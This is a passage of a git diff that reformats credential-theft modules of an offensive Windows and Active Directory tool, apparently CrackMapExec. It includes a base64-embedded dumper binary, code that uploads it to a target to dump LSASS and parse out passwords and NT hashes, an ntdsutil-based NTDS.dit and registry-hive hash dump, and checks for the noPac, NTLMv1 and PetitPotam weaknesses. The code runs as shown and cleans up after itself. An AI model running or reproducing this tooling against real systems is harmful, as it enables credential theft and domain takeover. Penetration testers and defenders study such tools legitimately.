ZXRtYWluYXJncwA7AF9faW5pdGVudgBFAF9fbWJfY3VyX21heAAATABfX3BfX2FjbWRsbgBOAF9fcF9fY29tbW9kZQAAUwBfX3BfX2Ztb2RlAABoAF9fc2V0X2FwcF90eXBlAABrAF9fc2V0dXNlcm1hdGhlcnIAAI4AX2Ftc2dfZXhpdAAAnwBfY2V4aXQAAEIBX2Vycm5vAABSAV9pbml0dGVybQBWAV9pb2IAALkBX2xvY2sAOgJfb25leGl0AOECX3VubG9jawAfA193Y3NpY21wAACaA2Fib3J0AKMDYXRvaQAApwNjYWxsb2MAALEDZXhpdAAAwgNmcHJpbnRmAMQDZnB1dGMAyQNmcmVlAADWA2Z3cml0ZQAA/wNsb2NhbGVjb252AAADBG1hbGxvYwAABgRtYnN0b3djcwAACgRtZW1jbXAAAAsEbWVtY3B5AAANBG1lbXNldAAAHQRyYW5kAAAmBHNldGxvY2FsZQAoBHNpZ25hbAAALgRzcmFuZAA0BHN0cmNocgAAOgRzdHJlcnJvcgAAPARzdHJsZW4AAD8Ec3RybmNtcABABHN0cm5jcHkAQwRzdHJyY2hyAEQEc3Ryc3BuAABhBHZmcHJpbnRmAADLAnRpbWUAAHsEd2NzbGVuAAB8BHdjc25jYXQAfwR3Y3NuY3B5AIYEd2Nzc3RyAAAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAS0VSTkVMMzIuZGxsAAAAABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABAG1zdmNydC5kbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACARQAAAAAAAAAAAABAQQAAAAAAAAAAAAEB/QADwfkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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" + ) self.nano = "nano.exe" self.nano_path = "" self.useembeded = True @@ -92,14 +96,20 @@ class CMEModule: else: self.context.log.fail("Unsupported Windows architecture") sys.exit(1) - + if self.context.protocol == "smb": with open(self.nano_path + self.nano, "rb") as nano: try: - self.connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read) - self.context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}") + self.connection.conn.putFile( + self.share, self.tmp_share + self.nano, nano.read + ) + self.context.log.success( + f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}" + ) except Exception as e: - self.context.log.fail(f"Error writing file to share {self.share}: {e}") + self.context.log.fail( + f"Error writing file to share {self.share}: {e}" + ) else: with open(self.nano_path + self.nano, "rb") as nano: try: @@ -107,12 +117,18 @@ class CMEModule: exec_method = MSSQLEXEC(self.connection.conn) exec_method.put_file(nano.read(), self.tmp_dir + self.nano) if exec_method.file_exists(self.tmp_dir + self.nano): - self.context.log.success(f"Created file {self.nano} on the remote machine {self.tmp_dir}") + self.context.log.success( + f"Created file {self.nano} on the remote machine {self.tmp_dir}" + ) else: - self.context.log.fail("File does not exist on the remote system... error during upload") + self.context.log.fail( + "File does not exist on the remote system... error during upload" + ) sys.exit(1) except Exception as e: - self.context.log.fail(f"Error writing file to remote machine directory {self.tmp_dir}: {e}") + self.context.log.fail( + f"Error writing file to remote machine directory {self.tmp_dir}: {e}" + ) # apparently SMB exec methods treat the output parameter differently than MSSQL (we use it to display()) # if we don't do this, then SMB doesn't actually return the results of commands, so it appears that the @@ -120,7 +136,7 @@ class CMEModule: display_output = True if self.context.protocol == "smb" else False self.context.log.debug(f"Display Output: {display_output}") # get LSASS PID via `tasklist` - command = "tasklist /v /fo csv | findstr /i \"lsass\"" + command = 'tasklist /v /fo csv | findstr /i "lsass"' self.context.log.display(f"Getting LSASS PID via command {command}") p = self.connection.execute(command, display_output) self.context.log.debug(f"tasklist Command Result: {p}") @@ -162,27 +178,45 @@ class CMEModule: if self.context.protocol == "smb": with open(filename, "wb+") as dump_file: try: - self.connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write) - self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}") + self.connection.conn.getFile( + self.share, self.tmp_share + nano_log_name, dump_file.write + ) + self.context.log.success( + f"Dumpfile of lsass.exe was transferred to {filename}" + ) except Exception as e: self.context.log.fail(f"Error while getting file: {e}") try: - self.connection.conn.deleteFile(self.share, self.tmp_share + self.nano) - self.context.log.success(f"Deleted nano file on the {self.share} share") + self.connection.conn.deleteFile( + self.share, self.tmp_share + self.nano + ) + self.context.log.success( + f"Deleted nano file on the {self.share} share" + ) except Exception as e: - self.context.log.fail(f"Error deleting nano file on share {self.share}: {e}") + self.context.log.fail( + f"Error deleting nano file on share {self.share}: {e}" + ) try: - self.connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name) - self.context.log.success(f"Deleted lsass.dmp file on the {self.share} share") + self.connection.conn.deleteFile( + self.share, self.tmp_share + nano_log_name + ) + self.context.log.success( + f"Deleted lsass.dmp file on the {self.share} share" + ) except Exception as e: - self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}") + self.context.log.fail( + f"Error deleting lsass.dmp file on share {self.share}: {e}" + ) else: try: exec_method = MSSQLEXEC(self.connection.conn) exec_method.get_file(self.tmp_dir + nano_log_name, filename) - self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}") + self.context.log.success( + f"Dumpfile of lsass.exe was transferred to {filename}" + ) except Exception as e: self.context.log.fail(f"Error while getting file: {e}") @@ -190,20 +224,24 @@ class CMEModule: try: self.connection.execute(f"del {self.tmp_dir + nano_log_name}") - self.context.log.success(f"Deleted lsass.dmp file on the {self.tmp_dir} dir") + self.context.log.success( + f"Deleted lsass.dmp file on the {self.tmp_dir} dir" + ) except Exception as e: - self.context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}") + self.context.log.fail( + f"[OPSEC] Error deleting lsass.dmp file on dir {self.tmp_dir}: {e}" + ) fh = open(filename, "r+b") fh.seek(0) - fh.write(b'\x4d\x44\x4d\x50') + fh.write(b"\x4d\x44\x4d\x50") fh.seek(4) - fh.write(b'\xa7\x93') + fh.write(b"\xa7\x93") fh.seek(6) - fh.write(b'\x00\x00') - fh.close() - - with open(filename, 'rb') as dump: + fh.write(b"\x00\x00") + fh.close() + + with open(filename, "rb") as dump: try: bh_creds = [] try: @@ -219,39 +257,60 @@ class CMEModule: "livessp_creds", "kerberos_creds", "credman_creds", - "tspkg_creds" + "tspkg_creds", ] for luid in pypy_parse.logon_sessions: for ssp in ssps: - for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []): + for cred in getattr( + pypy_parse.logon_sessions[luid], ssp, [] + ): domain = getattr(cred, "domainname", None) username = getattr(cred, "username", None) password = getattr(cred, "password", None) NThash = getattr(cred, "NThash", None) if NThash is not None: NThash = NThash.hex() - if username and (password or NThash) and "$" not in username: + if ( + username + and (password or NThash) + and "$" not in username + ): if password: credtype = "password" credential = password else: credtype = "hash" credential = NThash - self.context.log.highlight(f"{domain}\\{username}:{credential}") - host_id = self.context.db.get_hosts(self.connection.host)[0][0] + self.context.log.highlight( + f"{domain}\\{username}:{credential}" + ) + host_id = self.context.db.get_hosts( + self.connection.host + )[0][0] self.context.db.add_credential( credtype, connection.domain, username, credential, - pillaged_from=host_id + pillaged_from=host_id, ) - if "." not in domain and domain.upper() in self.connection.domain.upper(): + if ( + "." not in domain + and domain.upper() + in self.connection.domain.upper() + ): domain = self.connection.domain - bh_creds.append({"username": username.upper(), "domain": domain.upper()}) + bh_creds.append( + { + "username": username.upper(), + "domain": domain.upper(), + } + ) if len(bh_creds) > 0: - add_user_bh(bh_creds, None, self.context.log, self.connection.config) + add_user_bh( + bh_creds, None, self.context.log, self.connection.config + ) except Exception as e: self.context.log.fail(f"Error opening dump file: {e}") @@ -260,4 +319,6 @@ class CMEModule: self.connection.execute(f"del {self.tmp_dir + self.nano}") self.context.log.success(f"Deleted nano file on the {self.share} dir") except Exception as e: - self.context.log.fail(f"[OPSEC] Error deleting nano file on dir {self.tmp_dir}: {e}") + self.context.log.fail( + f"[OPSEC] Error deleting nano file on dir {self.tmp_dir}: {e}" + ) diff --git a/cme/modules/nopac.py b/cme/modules/nopac.py index 6f0053ba..06efd58e 100644 --- a/cme/modules/nopac.py +++ b/cme/modules/nopac.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- # Credit to https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html -# @exploitph @Evi1cg +# @exploitph @Evi1cg # module by @mpgn_x64 from binascii import unhexlify @@ -9,8 +9,8 @@ from impacket.krb5.kerberosv5 import getKerberosTGT from impacket.krb5 import constants from impacket.krb5.types import Principal -class CMEModule: +class CMEModule: name = "nopac" description = "Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user" supported_protocols = ["smb"] @@ -18,11 +18,12 @@ class CMEModule: multiple_hosts = True def options(self, context, module_options): - """ - """ + """ """ def on_login(self, context, connection): - user_name = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + user_name = Principal( + connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value + ) try: tgt_with_pac, cipher, old_session_key, session_key = getKerberosTGT( user_name, @@ -32,7 +33,7 @@ class CMEModule: unhexlify(connection.nthash), connection.aesKey, connection.host, - requestPAC=True + requestPAC=True, ) context.log.highlight("TGT with PAC size " + str(len(tgt_with_pac))) tgt_no_pac, cipher, old_session_key, session_key = getKerberosTGT( @@ -43,7 +44,7 @@ class CMEModule: unhexlify(connection.nthash), connection.aesKey, connection.host, - requestPAC=False + requestPAC=False, ) context.log.highlight("TGT without PAC size " + str(len(tgt_no_pac))) if len(tgt_no_pac) < len(tgt_with_pac): @@ -51,4 +52,6 @@ class CMEModule: context.log.highlight("VULNERABLE") context.log.highlight("Next step: https://github.com/Ridter/noPac") except OSError as e: - context.log.debug(f"Error connecting to Kerberos (port 88) on {connection.host}") + context.log.debug( + f"Error connecting to Kerberos (port 88) on {connection.host}" + ) diff --git a/cme/modules/ntdsutil.py b/cme/modules/ntdsutil.py index 694a6592..b4fa2e80 100644 --- a/cme/modules/ntdsutil.py +++ b/cme/modules/ntdsutil.py @@ -8,16 +8,18 @@ from impacket.examples.secretsdump import LocalOperations, NTDSHashes from cme.helpers.logger import highlight from cme.helpers.misc import validate_ntlm + class CMEModule: """ - Dump NTDS with ntdsutil - Module by @zblurx + Dump NTDS with ntdsutil + Module by @zblurx """ - name = 'ntdsutil' - description = 'Dump NTDS with ntdsutil' - supported_protocols = ['smb'] - opsec_safe= True + + name = "ntdsutil" + description = "Dump NTDS with ntdsutil" + supported_protocols = ["smb"] + opsec_safe = True multiple_hosts = False def options(self, context, module_options): @@ -34,58 +36,96 @@ class CMEModule: self.dir_result = self.dir_result = tempfile.mkdtemp() self.no_delete = False - if 'DIR_RESULT' in module_options: - self.dir_result = os.path.abspath(module_options['DIR_RESULT']) + if "DIR_RESULT" in module_options: + self.dir_result = os.path.abspath(module_options["DIR_RESULT"]) self.no_delete = True def on_admin_login(self, context, connection): - command = "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" % (self.tmp_dir, self.dump_location) - context.log.display('Dumping ntds with ntdsutil.exe to %s%s' % (self.tmp_dir,self.dump_location)) - context.log.highlight('Dumping the NTDS, this could take a while so go grab a redbull...') - context.log.debug('Executing command {}'.format(command)) + command = ( + "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" + % (self.tmp_dir, self.dump_location) + ) + context.log.display( + "Dumping ntds with ntdsutil.exe to %s%s" + % (self.tmp_dir, self.dump_location) + ) + context.log.highlight( + "Dumping the NTDS, this could take a while so go grab a redbull..." + ) + context.log.debug("Executing command {}".format(command)) p = connection.execute(command, True) context.log.debug(p) - if 'success' in p: - context.log.success("NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location)) + if "success" in p: + context.log.success( + "NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location) + ) else: context.log.fail("Error while dumping NTDS") return os.makedirs(self.dir_result, exist_ok=True) - os.makedirs(os.path.join(self.dir_result, 'Active Directory'), exist_ok=True) - os.makedirs(os.path.join(self.dir_result, 'registry'), exist_ok=True) + os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True) + os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True) context.log.display("Copying NTDS dump to %s" % self.dir_result) - context.log.debug('Copy ntds.dit to host') - with open(os.path.join(self.dir_result,'Active Directory','ntds.dit'), 'wb+') as dump_file: + context.log.debug("Copy ntds.dit to host") + with open( + os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+" + ) as dump_file: try: - connection.conn.getFile(self.share, self.tmp_share + self.dump_location + "\\" + 'Active Directory\\ntds.dit', dump_file.write) - context.log.debug('Copied ntds.dit file') + connection.conn.getFile( + self.share, + self.tmp_share + + self.dump_location + + "\\" + + "Active Directory\\ntds.dit", + dump_file.write, + ) + context.log.debug("Copied ntds.dit file") except Exception as e: - context.log.fail('Error while get ntds.dit file: {}'.format(e)) + context.log.fail("Error while get ntds.dit file: {}".format(e)) - context.log.debug('Copy SYSTEM to host') - with open(os.path.join(self.dir_result,'registry','SYSTEM'), 'wb+') as dump_file: + context.log.debug("Copy SYSTEM to host") + with open( + os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+" + ) as dump_file: try: - connection.conn.getFile(self.share, self.tmp_share + self.dump_location + "\\" + 'registry\\SYSTEM', dump_file.write) - context.log.debug('Copied SYSTEM file') + connection.conn.getFile( + self.share, + self.tmp_share + self.dump_location + "\\" + "registry\\SYSTEM", + dump_file.write, + ) + context.log.debug("Copied SYSTEM file") except Exception as e: - context.log.fail('Error while get SYSTEM file: {}'.format(e)) + context.log.fail("Error while get SYSTEM file: {}".format(e)) - context.log.debug('Copy SECURITY to host') - with open(os.path.join(self.dir_result,'registry','SECURITY'), 'wb+') as dump_file: + context.log.debug("Copy SECURITY to host") + with open( + os.path.join(self.dir_result, "registry", "SECURITY"), "wb+" + ) as dump_file: try: - connection.conn.getFile(self.share, self.tmp_share + self.dump_location + "\\" + 'registry\\SECURITY', dump_file.write) - context.log.debug('Copied SECURITY file') + connection.conn.getFile( + self.share, + self.tmp_share + self.dump_location + "\\" + "registry\\SECURITY", + dump_file.write, + ) + context.log.debug("Copied SECURITY file") except Exception as e: - context.log.fail('Error while get SECURITY file: {}'.format(e)) + context.log.fail("Error while get SECURITY file: {}".format(e)) context.log.display("NTDS dump copied to %s" % self.dir_result) try: command = "rmdir /s /q %s%s" % (self.tmp_dir, self.dump_location) p = connection.execute(command, True) - context.log.success('Deleted %s%s remote dump directory' % (self.tmp_dir, self.dump_location)) + context.log.success( + "Deleted %s%s remote dump directory" + % (self.tmp_dir, self.dump_location) + ) except Exception as e: - context.log.fail('Error deleting {} remote directory on share {}: {}'.format(self.dump_location, self.share, e)) + context.log.fail( + "Error deleting {} remote directory on share {}: {}".format( + self.dump_location, self.share, e + ) + ) localOperations = LocalOperations("%s/registry/SYSTEM" % self.dir_result) bootKey = localOperations.getBootKey() @@ -102,47 +142,82 @@ class CMEModule: else: ntds_hash = ntds_hash.split(" ")[0] context.log.highlight(ntds_hash) - if ntds_hash.find('$') == -1: - if ntds_hash.find('\\') != -1: - domain, hash = ntds_hash.split('\\') + if ntds_hash.find("$") == -1: + if ntds_hash.find("\\") != -1: + domain, hash = ntds_hash.split("\\") else: domain = connection.domain hash = ntds_hash try: - username,_,lmhash,nthash,_,_,_ = hash.split(':') - parsed_hash = ':'.join((lmhash, nthash)) + username, _, lmhash, nthash, _, _, _ = hash.split(":") + parsed_hash = ":".join((lmhash, nthash)) if validate_ntlm(parsed_hash): - context.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id) + context.db.add_credential( + "hash", domain, username, parsed_hash, pillaged_from=host_id + ) add_ntds_hash.added_to_db += 1 return raise except: - context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)") + context.log.debug( + "Dumped hash is not NTLM, not adding to db for now ;)" + ) else: context.log.debug("Dumped hash is a computer account, not adding to db") + add_ntds_hash.ntds_hashes = 0 add_ntds_hash.added_to_db = 0 - NTDS = NTDSHashes("%s/Active Directory/ntds.dit" % self.dir_result, bootKey, isRemote=False, history=False, noLMHash=noLMHash, - remoteOps=None, useVSSMethod=True, justNTLM=True, - pwdLastSet=False, resumeSession=None, outputFileName=connection.output_filename, - justUser=None, printUserStatus=True, - perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id)) - + NTDS = NTDSHashes( + "%s/Active Directory/ntds.dit" % self.dir_result, + bootKey, + isRemote=False, + history=False, + noLMHash=noLMHash, + remoteOps=None, + useVSSMethod=True, + justNTLM=True, + pwdLastSet=False, + resumeSession=None, + outputFileName=connection.output_filename, + justUser=None, + printUserStatus=True, + perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, host_id), + ) + try: - context.log.success('Dumping the NTDS, this could take a while so go grab a redbull...') + context.log.success( + "Dumping the NTDS, this could take a while so go grab a redbull..." + ) NTDS.dump() - context.log.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), connection.output_filename + '.ntds', highlight(add_ntds_hash.added_to_db))) - context.log.display("To extract only enabled accounts from the output file, run the following command: ") - context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + '.ntds')) + context.log.success( + "Dumped {} NTDS hashes to {} of which {} were added to the database".format( + highlight(add_ntds_hash.ntds_hashes), + connection.output_filename + ".ntds", + highlight(add_ntds_hash.added_to_db), + ) + ) + context.log.display( + "To extract only enabled accounts from the output file, run the following command: " + ) + context.log.display( + "grep -iv disabled {} | cut -d ':' -f1".format( + connection.output_filename + ".ntds" + ) + ) except Exception as e: context.log.fail(e) NTDS.finish() - + if self.no_delete: - context.log.display('Raw NTDS dump copied to %s, parse it with:' % self.dir_result) - context.log.display("secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds \"%s/Active Directory/ntds.dit\" LOCAL" % (self.dir_result, self.dir_result, self.dir_result)) + context.log.display( + "Raw NTDS dump copied to %s, parse it with:" % self.dir_result + ) + context.log.display( + 'secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL' + % (self.dir_result, self.dir_result, self.dir_result) + ) else: - shutil.rmtree(self.dir_result) \ No newline at end of file + shutil.rmtree(self.dir_result) diff --git a/cme/modules/ntlmv1.py b/cme/modules/ntlmv1.py index 90375a17..41b2cccd 100644 --- a/cme/modules/ntlmv1.py +++ b/cme/modules/ntlmv1.py @@ -11,6 +11,7 @@ class CMEModule: Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication Module by @Tw1sm """ + name = "ntlmv1" description = "Detect if lmcompatibilitylevel on the target is set to 0 or 1" supported_protocols = ["smb"] @@ -31,22 +32,26 @@ class CMEModule: ans = rrp.hBaseRegOpenKey( remote_ops._RemoteOperations__rrp, reg_handle, - "SYSTEM\\CurrentControlSet\\Control\\Lsa" + "SYSTEM\\CurrentControlSet\\Control\\Lsa", ) - key_handle = ans['phkResult'] + key_handle = ans["phkResult"] rtype = None data = None try: rtype, data = rrp.hBaseRegQueryValue( remote_ops._RemoteOperations__rrp, key_handle, - "lmcompatibilitylevel\x00" + "lmcompatibilitylevel\x00", ) except rrp.DCERPCSessionError as e: - context.log.debug(f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set") + context.log.debug( + f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set" + ) if rtype and data and int(data) in [0, 1, 2]: - context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data)) + context.log.highlight( + self.output.format(connection.conn.getRemoteHost(), data) + ) except DCERPCSessionError as e: context.log.debug(f"Error connecting to RemoteRegistry: {e}") finally: diff --git a/cme/modules/petitpotam.py b/cme/modules/petitpotam.py index 78163177..70841215 100644 --- a/cme/modules/petitpotam.py +++ b/cme/modules/petitpotam.py @@ -10,14 +10,21 @@ from impacket import system_errors from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD, PCHAR, RPC_SID, LPWSTR -from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.dcerpc.v5.rpcrt import ( + DCERPCException, + RPC_C_AUTHN_WINNT, + RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + RPC_C_AUTHN_GSS_NEGOTIATE, +) from impacket.uuid import uuidtup_to_bin class CMEModule: - name = 'petitpotam' - description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam" - supported_protocols = ['smb'] + name = "petitpotam" + description = ( + "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam" + ) + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True @@ -27,11 +34,11 @@ class CMEModule: PIPE Default PIPE (default: lsarpc) """ self.listener = 